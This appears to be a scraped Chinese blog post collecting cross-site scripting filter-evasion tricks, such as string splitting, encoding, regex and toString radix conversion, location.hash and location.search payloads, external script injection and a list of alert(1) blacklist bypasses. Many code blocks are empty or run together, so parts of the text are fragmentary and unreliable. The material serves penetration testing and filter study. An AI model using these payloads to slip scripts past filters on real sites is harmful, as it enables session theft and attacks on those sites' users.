如果碰到没遇到或者不知道的,建议大家先Google、看文档。
首先大家可以先看下这个网站:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
如果测试的时候在这个网站上找不到可以利用的方法的话,那...emmm...就放弃吧。
下面是我在工作中常用的一些方法,大部分均来自于网络上的各个表哥的思路,同时有自己的一些发散、扩展,我先替我自己对表哥们说声谢谢了。
1. 拼接拼接函数:
代码语言:javascript复制top、this、self、parent、frames、content、window比如:
代码语言:javascript复制
既然是编码肯定需要一些函数来执行,比如:eval,setTimeout,setInterval,constructor,execScript(IE)等
代码语言:javascript复制# URL
# base64
# JS8
# JS16
# unicode
# Ascii
3. 字符串利用正则表达式返回字符串
代码语言:javascript复制eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
利用toString转换字符串。
整数toString(radix)转字符串, 第一个点表示浮点数,第二个点表示调用函数
代码语言:javascript复制XSS Test
parseInt('alert',30) == 8680439
toString函数将返回的数字8680439,以基数为30还原
8680439..toString(30) == alert
4. 函数多样调用代码语言:javascript复制XSS Test
模板字符串:反引号``
XSS Test5. 利用数组等的功能函数代码语言:javascript复制XSS Test
XSS Test利用拼接数组函数
concat()不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串
代码语言:javascript复制
代码语言:javascript复制document['coo'['CONCAT'.toLowerCase()]('kie')]join()将数组转换成字符串
代码语言:javascript复制
XSS Test7. locationlocation对象的hash属性用于设置或取得 URL 中的锚部分,比如:http://localhost/1.php#alert(1),我们在控制台输入location.hash,则会返回我们设定的锚,即#alert(1)。
再结合slice()、substr()等字符串处理函数获取字符串
代码语言:javascript复制
#alert(1) #alert(1) #alert(1) #alert(1)使用Function匿名函数来执行尾部的代码
#alert(1)同样的道理location.search也类似,它可以把部分参数放在?之后代码语言:javascript复制# dom.html
document.write(decodeURI(window.location.search));
# payload
dom.html?
#vbscript:msgbox(1)# 使用xmlns属性
# 使用注释
# innerHTML
很多会拦截外部url,比如拦截//
代码语言:javascript复制
如果.被拦截,可以使用with替代。
代码语言:javascript复制
代码语言:javascript复制
13. 引用外部url创建和插入节点把外部JS文件注入到网页
代码语言:javascript复制
利用link
14. 赋值代码语言:javascript复制# 变量
# 函数
# 属性
15. 黑名单以alert(1)为例
代码语言:javascript复制(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
self[/al/.source+/ert/.source](1)
al\u0065rt(1)
frames['al\145rt'](1)
content[8680439..toString(30)](1)16. 标签16.1. body代码语言:javascript复制
#x